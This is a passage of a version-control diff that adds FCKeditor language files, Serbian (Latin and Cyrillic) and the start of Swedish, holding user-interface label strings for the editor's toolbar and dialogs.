+DlgCellCollSpan		: "Spajanje kolona",
+DlgCellBackColor	: "Boja pozadine",
+DlgCellBorderColor	: "Boja okvira",
+DlgCellBtnSelect	: "Odaberi...",
+
+// Find Dialog
+DlgFindTitle		: "Pronađi",
+DlgFindFindBtn		: "Pronađi",
+DlgFindNotFoundMsg	: "Traženi tekst nije pronađen.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Zameni",
+DlgReplaceFindLbl		: "Pronadi:",
+DlgReplaceReplaceLbl	: "Zameni sa:",
+DlgReplaceCaseChk		: "Razlikuj mala i velika slova",
+DlgReplaceReplaceBtn	: "Zameni",
+DlgReplaceReplAllBtn	: "Zameni sve",
+DlgReplaceWordChk		: "Uporedi cele reci",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Sigurnosna podešavanja Vašeg pretraživača ne dozvoljavaju operacije automatskog lepljenja teksta. Molimo Vas da koristite prečicu sa tastature (Ctrl+V).",
+PasteErrorCut	: "Sigurnosna podešavanja Vašeg pretraživača ne dozvoljavaju operacije automatskog isecanja teksta. Molimo Vas da koristite prečicu sa tastature (Ctrl+X).",
+PasteErrorCopy	: "Sigurnosna podešavanja Vašeg pretraživača ne dozvoljavaju operacije automatskog kopiranja teksta. Molimo Vas da koristite prečicu sa tastature (Ctrl+C).",
+
+PasteAsText		: "Zalepi kao čist tekst",
+PasteFromWord	: "Zalepi iz Worda",
+
+DlgPasteMsg2	: "Molimo Vas da zalepite unutar donje povrine koristeći tastaturnu prečicu (<STRONG>Ctrl+V</STRONG>) i da pritisnete <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignoriši definicije fontova",
+DlgPasteRemoveStyles	: "Ukloni definicije stilova",
+DlgPasteCleanBox		: "Obriši sve",
+
+// Color Picker
+ColorAutomatic	: "Automatski",
+ColorMoreColors	: "Više boja...",
+
+// Document Properties
+DocProps		: "Osobine dokumenta",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Osobine sidra",
+DlgAnchorName		: "Ime sidra",
+DlgAnchorErrorName	: "Unesite ime sidra",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Nije u rečniku",
+DlgSpellChangeTo		: "Izmeni",
+DlgSpellBtnIgnore		: "Ignoriši",
+DlgSpellBtnIgnoreAll	: "Ignoriši sve",
+DlgSpellBtnReplace		: "Zameni",
+DlgSpellBtnReplaceAll	: "Zameni sve",
+DlgSpellBtnUndo			: "Vrati akciju",
+DlgSpellNoSuggestions	: "- Bez sugestija -",
+DlgSpellProgress		: "Provera spelovanja u toku...",
+DlgSpellNoMispell		: "Provera spelovanja završena: greške nisu pronadene",
+DlgSpellNoChanges		: "Provera spelovanja završena: Nije izmenjena nijedna rec",
+DlgSpellOneChange		: "Provera spelovanja završena: Izmenjena je jedna reč",
+DlgSpellManyChanges		: "Provera spelovanja završena: %1 reč(i) je izmenjeno",
+
+IeSpellDownload			: "Provera spelovanja nije instalirana. Da li želite da je skinete sa Interneta?",
+
+// Button Dialog
+DlgButtonText		: "Tekst (vrednost)",
+DlgButtonType		: "Tip",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Naziv",
+DlgCheckboxValue	: "Vrednost",
+DlgCheckboxSelected	: "Označeno",
+
+// Form Dialog
+DlgFormName		: "Naziv",
+DlgFormAction	: "Akcija",
+DlgFormMethod	: "Metoda",
+
+// Select Field Dialog
+DlgSelectName		: "Naziv",
+DlgSelectValue		: "Vrednost",
+DlgSelectSize		: "Veličina",
+DlgSelectLines		: "linija",
+DlgSelectChkMulti	: "Dozvoli višestruku selekciju",
+DlgSelectOpAvail	: "Dostupne opcije",
+DlgSelectOpText		: "Tekst",
+DlgSelectOpValue	: "Vrednost",
+DlgSelectBtnAdd		: "Dodaj",
+DlgSelectBtnModify	: "Izmeni",
+DlgSelectBtnUp		: "Gore",
+DlgSelectBtnDown	: "Dole",
+DlgSelectBtnSetValue : "Podesi kao označenu vrednost",
+DlgSelectBtnDelete	: "Obriši",
+
+// Textarea Dialog
+DlgTextareaName	: "Naziv",
+DlgTextareaCols	: "Broj kolona",
+DlgTextareaRows	: "Broj redova",
+
+// Text Field Dialog
+DlgTextName			: "Naziv",
+DlgTextValue		: "Vrednost",
+DlgTextCharWidth	: "Širina (karaktera)",
+DlgTextMaxChars		: "Maksimalno karaktera",
+DlgTextType			: "Tip",
+DlgTextTypeText		: "Tekst",
+DlgTextTypePass		: "Lozinka",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Naziv",
+DlgHiddenValue	: "Vrednost",
+
+// Bulleted List Dialog
+BulletedListProp	: "Osobine nenabrojive liste",
+NumberedListProp	: "Osobine nabrojive liste",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tip",
+DlgLstTypeCircle	: "Krug",
+DlgLstTypeDisc		: "Disc",	//MISSING
+DlgLstTypeSquare	: "Kvadrat",
+DlgLstTypeNumbers	: "Brojevi (1, 2, 3)",
+DlgLstTypeLCase		: "mala slova (a, b, c)",
+DlgLstTypeUCase		: "VELIKA slova (A, B, C)",
+DlgLstTypeSRoman	: "Male rimske cifre (i, ii, iii)",
+DlgLstTypeLRoman	: "Velike rimske cifre (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Opšte osobine",
+DlgDocBackTab		: "Pozadina",
+DlgDocColorsTab		: "Boje i margine",
+DlgDocMetaTab		: "Metapodaci",
+
+DlgDocPageTitle		: "Naslov stranice",
+DlgDocLangDir		: "Smer jezika",
+DlgDocLangDirLTR	: "Sleva nadesno (LTR)",
+DlgDocLangDirRTL	: "Zdesna nalevo (RTL)",
+DlgDocLangCode		: "Šifra jezika",
+DlgDocCharSet		: "Kodiranje skupa karaktera",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Ostala kodiranja skupa karaktera",
+
+DlgDocDocType		: "Zaglavlje tipa dokumenta",
+DlgDocDocTypeOther	: "Ostala zaglavlja tipa dokumenta",
+DlgDocIncXHTML		: "Ukljuci XHTML deklaracije",
+DlgDocBgColor		: "Boja pozadine",
+DlgDocBgImage		: "URL pozadinske slike",
+DlgDocBgNoScroll	: "Fiksirana pozadina",
+DlgDocCText			: "Tekst",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Posećeni link",
+DlgDocCActive		: "Aktivni link",
+DlgDocMargins		: "Margine stranice",
+DlgDocMaTop			: "Gornja",
+DlgDocMaLeft		: "Leva",
+DlgDocMaRight		: "Desna",
+DlgDocMaBottom		: "Donja",
+DlgDocMeIndex		: "Ključne reci za indeksiranje dokumenta (razdvojene zarezima)",
+DlgDocMeDescr		: "Opis dokumenta",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Autorska prava",
+DlgDocPreview		: "Izgled stranice",
+
+// Templates Dialog
+Templates			: "Obrasci",
+DlgTemplatesTitle	: "Obrasci za sadržaj",
+DlgTemplatesSelMsg	: "Molimo Vas da odaberete obrazac koji ce biti primenjen na stranicu (trenutni sadržaj ce biti obrisan):",
+DlgTemplatesLoading	: "Učitavam listu obrazaca. Malo strpljenja...",
+DlgTemplatesNoTpl	: "(Nema definisanih obrazaca)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "O editoru",
+DlgAboutBrowserInfoTab	: "Informacije o pretraživacu",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "verzija",
+DlgAboutLicense		: "Licencirano pod uslovima GNU Lesser General Public License",
+DlgAboutInfo		: "Za više informacija posetite"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sr.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sr.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sr.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: sr.js
+ * 	Serbian (Cyrillic) language file.
+ * 
+ * File Authors:
+ * 		Zoran Subić (zoran@tf.zr.ac.yu)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Смањи линију са алаткама",
+ToolbarExpand		: "Прошири линију са алаткама",
+
+// Toolbar Items and Context Menu
+Save				: "Сачувај",
+NewPage				: "Нова страница",
+Preview				: "Изглед странице",
+Cut					: "Исеци",
+Copy				: "Копирај",
+Paste				: "Залепи",
+PasteText			: "Залепи као неформатиран текст",
+PasteWord			: "Залепи из Worda",
+Print				: "Штампа",
+SelectAll			: "Означи све",
+RemoveFormat		: "Уклони форматирање",
+InsertLinkLbl		: "Линк",
+InsertLink			: "Унеси/измени линк",
+RemoveLink			: "Уклони линк",
+Anchor				: "Унеси/измени сидро",
+InsertImageLbl		: "Слика",
+InsertImage			: "Унеси/измени слику",
+InsertFlashLbl		: "Флеш елемент",
+InsertFlash			: "Унеси/измени флеш",
+InsertTableLbl		: "Табела",
+InsertTable			: "Унеси/измени табелу",
+InsertLineLbl		: "Линија",
+InsertLine			: "Унеси хоризонталну линију",
+InsertSpecialCharLbl: "Специјални карактери",
+InsertSpecialChar	: "Унеси специјални карактер",
+InsertSmileyLbl		: "Смајли",
+InsertSmiley		: "Унеси смајлија",
+About				: "О ФЦКедитору",
+Bold				: "Подебљано",
+Italic				: "Курзив",
+Underline			: "Подвучено",
+StrikeThrough		: "Прецртано",
+Subscript			: "Индекс",
+Superscript			: "Степен",
+LeftJustify			: "Лево равнање",
+CenterJustify		: "Центриран текст",
+RightJustify		: "Десно равнање",
+BlockJustify		: "Обострано равнање",
+DecreaseIndent		: "Смањи леву маргину",
+IncreaseIndent		: "Увећај леву маргину",
+Undo				: "Поништи акцију",
+Redo				: "Понови акцију",
+NumberedListLbl		: "Набројиву листу",
+NumberedList		: "Унеси/уклони набројиву листу",
+BulletedListLbl		: "Ненабројива листа",
+BulletedList		: "Унеси/уклони ненабројиву листу",
+ShowTableBorders	: "Прикажи оквир табеле",
+ShowDetails			: "Прикажи детаље",
+Style				: "Стил",
+FontFormat			: "Формат",
+Font				: "Фонт",
+FontSize			: "Величина фонта",
+TextColor			: "Боја текста",
+BGColor				: "Боја позадине",
+Source				: "Kôд",
+Find				: "Претрага",
+Replace				: "Замена",
+SpellCheck			: "Провери спеловање",
+UniversalKeyboard	: "Универзална тастатура",
+PageBreakLbl		: "Page Break",	//MISSING
+PageBreak			: "Insert Page Break",	//MISSING
+
+Form			: "Форма",
+Checkbox		: "Поље за потврду",
+RadioButton		: "Радио-дугме",
+TextField		: "Текстуално поље",
+Textarea		: "Зона текста",
+HiddenField		: "Скривено поље",
+Button			: "Дугме",
+SelectionField	: "Изборно поље",
+ImageButton		: "Дугме са сликом",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Промени линк",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Унеси ред",
+DeleteRows			: "Обриши редове",
+InsertColumn		: "Унеси колону",
+DeleteColumns		: "Обриши колоне",
+InsertCell			: "Унеси ћелије",
+DeleteCells			: "Обриши ћелије",
+MergeCells			: "Спој ћелије",
+SplitCell			: "Раздвоји ћелије",
+TableDelete			: "Delete Table",	//MISSING
+CellProperties		: "Особине ћелије",
+TableProperties		: "Особине табеле",
+ImageProperties		: "Особине слике",
+FlashProperties		: "Особине Флеша",
+
+AnchorProp			: "Особине сидра",
+ButtonProp			: "Особине дугмета",
+CheckboxProp		: "Особине поља за потврду",
+HiddenFieldProp		: "Особине скривеног поља",
+RadioButtonProp		: "Особине радио-дугмета",
+ImageButtonProp		: "Особине дугмета са сликом",
+TextFieldProp		: "Особине текстуалног поља",
+SelectionFieldProp	: "Особине изборног поља",
+TextareaProp		: "Особине зоне текста",
+FormProp			: "Особине форме",
+
+FontFormats			: "Normal;Formatirano;Adresa;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Обрађујем XHTML. Maлo стрпљења...",
+Done				: "Завршио",
+PasteWordConfirm	: "Текст који желите да налепите копиран је из Worda. Да ли желите да буде очишћен од формата пре лепљења?",
+NotCompatiblePaste	: "Ова команда је доступна само за Интернет Екплорер од верзије 5.5. Да ли желите да налепим текст без чишћења?",
+UnknownToolbarItem	: "Непозната ставка toolbara \"%1\"",
+UnknownCommand		: "Непозната наредба \"%1\"",
+NotImplemented		: "Наредба није имплементирана",
+UnknownToolbarSet	: "Toolbar \"%1\" не постоји",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Oткажи",
+DlgBtnClose			: "Затвори",
+DlgBtnBrowseServer	: "Претражи сервер",
+DlgAdvancedTag		: "Напредни тагови",
+DlgOpOther			: "<Остали>",
+DlgInfoTab			: "Инфо",
+DlgAlertUrl			: "Молимо Вас, унесите УРЛ",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<није постављено>",
+DlgGenId			: "Ид",
+DlgGenLangDir		: "Смер језика",
+DlgGenLangDirLtr	: "С лева на десно (LTR)",
+DlgGenLangDirRtl	: "С десна на лево (RTL)",
+DlgGenLangCode		: "Kôд језика",
+DlgGenAccessKey		: "Приступни тастер",
+DlgGenName			: "Назив",
+DlgGenTabIndex		: "Таб индекс",
+DlgGenLongDescr		: "Пун опис УРЛ",
+DlgGenClass			: "Stylesheet класе",
+DlgGenTitle			: "Advisory наслов",
+DlgGenContType		: "Advisory врста садржаја",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Стил",
+
+// Image Dialog
+DlgImgTitle			: "Особине слика",
+DlgImgInfoTab		: "Инфо слике",
+DlgImgBtnUpload		: "Пошаљи на сервер",
+DlgImgURL			: "УРЛ",
+DlgImgUpload		: "Пошаљи",
+DlgImgAlt			: "Алтернативни текст",
+DlgImgWidth			: "Ширина",
+DlgImgHeight		: "Висина",
+DlgImgLockRatio		: "Закључај однос",
+DlgBtnResetSize		: "Ресетуј величину",
+DlgImgBorder		: "Оквир",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Равнање",
+DlgImgAlignLeft		: "Лево",
+DlgImgAlignAbsBottom: "Abs доле",
+DlgImgAlignAbsMiddle: "Abs средина",
+DlgImgAlignBaseline	: "Базно",
+DlgImgAlignBottom	: "Доле",
+DlgImgAlignMiddle	: "Средина",
+DlgImgAlignRight	: "Десно",
+DlgImgAlignTextTop	: "Врх текста",
+DlgImgAlignTop		: "Врх",
+DlgImgPreview		: "Изглед",
+DlgImgAlertUrl		: "Унесите УРЛ слике",
+DlgImgLinkTab		: "Линк",
+
+// Flash Dialog
+DlgFlashTitle		: "Особине флеша",
+DlgFlashChkPlay		: "Аутоматски старт",
+DlgFlashChkLoop		: "Понављај",
+DlgFlashChkMenu		: "Укључи флеш мени",
+DlgFlashScale		: "Скалирај",
+DlgFlashScaleAll	: "Прикажи све",
+DlgFlashScaleNoBorder	: "Без ивице",
+DlgFlashScaleFit	: "Попуни површину",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Линк",
+DlgLnkInfoTab		: "Линк инфо",
+DlgLnkTargetTab		: "Мета",
+
+DlgLnkType			: "Врста линка",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Сидро на овој страници",
+DlgLnkTypeEMail		: "Eлектронска пошта",
+DlgLnkProto			: "Протокол",
+DlgLnkProtoOther	: "<друго>",
+DlgLnkURL			: "УРЛ",
+DlgLnkAnchorSel		: "Одабери сидро",
+DlgLnkAnchorByName	: "По називу сидра",
+DlgLnkAnchorById	: "Пo Ид-jу елемента",
+DlgLnkNoAnchors		: "<Нема доступних сидра>",
+DlgLnkEMail			: "Адреса електронске поште",
+DlgLnkEMailSubject	: "Наслов",
+DlgLnkEMailBody		: "Садржај поруке",
+DlgLnkUpload		: "Пошаљи",
+DlgLnkBtnUpload		: "Пошаљи на сервер",
+
+DlgLnkTarget		: "Meтa",
+DlgLnkTargetFrame	: "<оквир>",
+DlgLnkTargetPopup	: "<искачући прозор>",
+DlgLnkTargetBlank	: "Нови прозор (_blank)",
+DlgLnkTargetParent	: "Родитељски прозор (_parent)",
+DlgLnkTargetSelf	: "Исти прозор (_self)",
+DlgLnkTargetTop		: "Прозор на врху (_top)",
+DlgLnkTargetFrameName	: "Назив одредишног фрејма",
+DlgLnkPopWinName	: "Назив искачућег прозора",
+DlgLnkPopWinFeat	: "Могућности искачућег прозора",
+DlgLnkPopResize		: "Променљива величина",
+DlgLnkPopLocation	: "Локација",
+DlgLnkPopMenu		: "Контекстни мени",
+DlgLnkPopScroll		: "Скрол бар",
+DlgLnkPopStatus		: "Статусна линија",
+DlgLnkPopToolbar	: "Toolbar",
+DlgLnkPopFullScrn	: "Приказ преко целог екрана (ИE)",
+DlgLnkPopDependent	: "Зависно (Netscape)",
+DlgLnkPopWidth		: "Ширина",
+DlgLnkPopHeight		: "Висина",
+DlgLnkPopLeft		: "Од леве ивице екрана (пиксела)",
+DlgLnkPopTop		: "Од врха екрана (пиксела)",
+
+DlnLnkMsgNoUrl		: "Унесите УРЛ линка",
+DlnLnkMsgNoEMail	: "Откуцајте адресу електронске поште",
+DlnLnkMsgNoAnchor	: "Одаберите сидро",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Одаберите боју",
+DlgColorBtnClear	: "Обриши",
+DlgColorHighlight	: "Посветли",
+DlgColorSelected	: "Одабери",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Унеси смајлија",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Одаберите специјални карактер",
+
+// Table Dialog
+DlgTableTitle		: "Особине табеле",
+DlgTableRows		: "Редова",
+DlgTableColumns		: "Kолона",
+DlgTableBorder		: "Величина оквира",
+DlgTableAlign		: "Равнање",
+DlgTableAlignNotSet	: "<није постављено>",
+DlgTableAlignLeft	: "Лево",
+DlgTableAlignCenter	: "Средина",
+DlgTableAlignRight	: "Десно",
+DlgTableWidth		: "Ширина",
+DlgTableWidthPx		: "пиксела",
+DlgTableWidthPc		: "процената",
+DlgTableHeight		: "Висина",
+DlgTableCellSpace	: "Ћелијски простор",
+DlgTableCellPad		: "Размак ћелија",
+DlgTableCaption		: "Наслов табеле",
+DlgTableSummary		: "Summary",	//MISSING
+
+// Table Cell Dialog
+DlgCellTitle		: "Особине ћелије",
+DlgCellWidth		: "Ширина",
+DlgCellWidthPx		: "пиксела",
+DlgCellWidthPc		: "процената",
+DlgCellHeight		: "Висина",
+DlgCellWordWrap		: "Дељење речи",
+DlgCellWordWrapNotSet	: "<није постављено>",
+DlgCellWordWrapYes	: "Да",
+DlgCellWordWrapNo	: "Не",
+DlgCellHorAlign		: "Водоравно равнање",
+DlgCellHorAlignNotSet	: "<није постављено>",
+DlgCellHorAlignLeft	: "Лево",
+DlgCellHorAlignCenter	: "Средина",
+DlgCellHorAlignRight: "Десно",
+DlgCellVerAlign		: "Вертикално равнање",
+DlgCellVerAlignNotSet	: "<није постављено>",
+DlgCellVerAlignTop	: "Горње",
+DlgCellVerAlignMiddle	: "Средина",
+DlgCellVerAlignBottom	: "Доње",
+DlgCellVerAlignBaseline	: "Базно",
+DlgCellRowSpan		: "Спајање редова",
+DlgCellCollSpan		: "Спајање колона",
+DlgCellBackColor	: "Боја позадине",
+DlgCellBorderColor	: "Боја оквира",
+DlgCellBtnSelect	: "Oдабери...",
+
+// Find Dialog
+DlgFindTitle		: "Пронађи",
+DlgFindFindBtn		: "Пронађи",
+DlgFindNotFoundMsg	: "Тражени текст није пронађен.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Замени",
+DlgReplaceFindLbl		: "Пронађи:",
+DlgReplaceReplaceLbl	: "Замени са:",
+DlgReplaceCaseChk		: "Разликуј велика и мала слова",
+DlgReplaceReplaceBtn	: "Замени",
+DlgReplaceReplAllBtn	: "Замени све",
+DlgReplaceWordChk		: "Упореди целе речи",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Сигурносна подешавања Вашег претраживача не дозвољавају операције аутоматског лепљења текста. Молимо Вас да користите пречицу са тастатуре (Ctrl+V).",
+PasteErrorCut	: "Сигурносна подешавања Вашег претраживача не дозвољавају операције аутоматског исецања текста. Молимо Вас да користите пречицу са тастатуре (Ctrl+X).",
+PasteErrorCopy	: "Сигурносна подешавања Вашег претраживача не дозвољавају операције аутоматског копирања текста. Молимо Вас да користите пречицу са тастатуре (Ctrl+C).",
+
+PasteAsText		: "Залепи као чист текст",
+PasteFromWord	: "Залепи из Worda",
+
+DlgPasteMsg2	: "Молимо Вас да залепите унутар доње површине користећи тастатурну пречицу (<STRONG>Ctrl+V</STRONG>) и да притиснете <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Игнориши Font Face дефиниције",
+DlgPasteRemoveStyles	: "Уклони дефиниције стилова",
+DlgPasteCleanBox		: "Обриши све",
+
+// Color Picker
+ColorAutomatic	: "Аутоматски",
+ColorMoreColors	: "Више боја...",
+
+// Document Properties
+DocProps		: "Особине документа",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Особине сидра",
+DlgAnchorName		: "Име сидра",
+DlgAnchorErrorName	: "Молимо Вас да унесете име сидра",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Није у речнику",
+DlgSpellChangeTo		: "Измени",
+DlgSpellBtnIgnore		: "Игнориши",
+DlgSpellBtnIgnoreAll	: "Игнориши све",
+DlgSpellBtnReplace		: "Замени",
+DlgSpellBtnReplaceAll	: "Замени све",
+DlgSpellBtnUndo			: "Врати акцију",
+DlgSpellNoSuggestions	: "- Без сугестија -",
+DlgSpellProgress		: "Провера спеловања у току...",
+DlgSpellNoMispell		: "Провера спеловања завршена: грешке нису пронађене",
+DlgSpellNoChanges		: "Провера спеловања завршена: Није измењена ниједна реч",
+DlgSpellOneChange		: "Провера спеловања завршена: Измењена је једна реч",
+DlgSpellManyChanges		: "Провера спеловања завршена:  %1 реч(и) је измењено",
+
+IeSpellDownload			: "Провера спеловања није инсталирана. Да ли желите да је скинете са Интернета?",
+
+// Button Dialog
+DlgButtonText		: "Текст (вредност)",
+DlgButtonType		: "Tип",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Назив",
+DlgCheckboxValue	: "Вредност",
+DlgCheckboxSelected	: "Означено",
+
+// Form Dialog
+DlgFormName		: "Назив",
+DlgFormAction	: "Aкција",
+DlgFormMethod	: "Mетода",
+
+// Select Field Dialog
+DlgSelectName		: "Назив",
+DlgSelectValue		: "Вредност",
+DlgSelectSize		: "Величина",
+DlgSelectLines		: "линија",
+DlgSelectChkMulti	: "Дозволи вишеструку селекцију",
+DlgSelectOpAvail	: "Доступне опције",
+DlgSelectOpText		: "Текст",
+DlgSelectOpValue	: "Вредност",
+DlgSelectBtnAdd		: "Додај",
+DlgSelectBtnModify	: "Измени",
+DlgSelectBtnUp		: "Горе",
+DlgSelectBtnDown	: "Доле",
+DlgSelectBtnSetValue : "Подеси као означену вредност",
+DlgSelectBtnDelete	: "Обриши",
+
+// Textarea Dialog
+DlgTextareaName	: "Назив",
+DlgTextareaCols	: "Број колона",
+DlgTextareaRows	: "Број редова",
+
+// Text Field Dialog
+DlgTextName			: "Назив",
+DlgTextValue		: "Вредност",
+DlgTextCharWidth	: "Ширина (карактера)",
+DlgTextMaxChars		: "Максимално карактера",
+DlgTextType			: "Тип",
+DlgTextTypeText		: "Текст",
+DlgTextTypePass		: "Лозинка",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Назив",
+DlgHiddenValue	: "Вредност",
+
+// Bulleted List Dialog
+BulletedListProp	: "Особине Bulleted листе",
+NumberedListProp	: "Особине набројиве листе",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Тип",
+DlgLstTypeCircle	: "Круг",
+DlgLstTypeDisc		: "Disc",	//MISSING
+DlgLstTypeSquare	: "Квадрат",
+DlgLstTypeNumbers	: "Бројеви (1, 2, 3)",
+DlgLstTypeLCase		: "мала слова (a, b, c)",
+DlgLstTypeUCase		: "ВЕЛИКА СЛОВА (A, B, C)",
+DlgLstTypeSRoman	: "Мале римске цифре (i, ii, iii)",
+DlgLstTypeLRoman	: "Велике римске цифре (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Опште особине",
+DlgDocBackTab		: "Позадина",
+DlgDocColorsTab		: "Боје и маргине",
+DlgDocMetaTab		: "Метаподаци",
+
+DlgDocPageTitle		: "Наслов странице",
+DlgDocLangDir		: "Смер језика",
+DlgDocLangDirLTR	: "Слева надесно (LTR)",
+DlgDocLangDirRTL	: "Здесна налево (RTL)",
+DlgDocLangCode		: "Шифра језика",
+DlgDocCharSet		: "Кодирање скупа карактера",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Остала кодирања скупа карактера",
+
+DlgDocDocType		: "Заглавље типа документа",
+DlgDocDocTypeOther	: "Остала заглавља типа документа",
+DlgDocIncXHTML		: "Улључи XHTML декларације",
+DlgDocBgColor		: "Боја позадине",
+DlgDocBgImage		: "УРЛ позадинске слике",
+DlgDocBgNoScroll	: "Фиксирана позадина",
+DlgDocCText			: "Текст",
+DlgDocCLink			: "Линк",
+DlgDocCVisited		: "Посећени линк",
+DlgDocCActive		: "Активни линк",
+DlgDocMargins		: "Маргине странице",
+DlgDocMaTop			: "Горња",
+DlgDocMaLeft		: "Лева",
+DlgDocMaRight		: "Десна",
+DlgDocMaBottom		: "Доња",
+DlgDocMeIndex		: "Кључне речи за индексирање документа (раздвојене зарезом)",
+DlgDocMeDescr		: "Опис документа",
+DlgDocMeAuthor		: "Аутор",
+DlgDocMeCopy		: "Ауторска права",
+DlgDocPreview		: "Изглед странице",
+
+// Templates Dialog
+Templates			: "Обрасци",
+DlgTemplatesTitle	: "Обрасци за садржај",
+DlgTemplatesSelMsg	: "Молимо Вас да одаберете образац који ће бити примењен на страницу (тренутни садржај ће бити обрисан):",
+DlgTemplatesLoading	: "Учитавам листу образаца. Мало стрпљења...",
+DlgTemplatesNoTpl	: "(Нема дефинисаних образаца)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "О едитору",
+DlgAboutBrowserInfoTab	: "Информације о претраживачу",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "верзија",
+DlgAboutLicense		: "Лиценцирано под условима GNU Lesser General Public License",
+DlgAboutInfo		: "За више информација посетите"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sv.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sv.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sv.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: sv.js
+ * 	Swedish language file.
+ * 
+ * File Authors:
+ * 		Kristoffer Malvefors (kristoffer@intema.ws)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Dölj verktygsfält",
+ToolbarExpand		: "Visa verktygsfält",
+
+// Toolbar Items and Context Menu
+Save				: "Spara",
+NewPage				: "Ny sida",
+Preview				: "Förhandsgranska",
+Cut					: "Klipp ut",
+Copy				: "Kopiera",
+Paste				: "Klistra in",
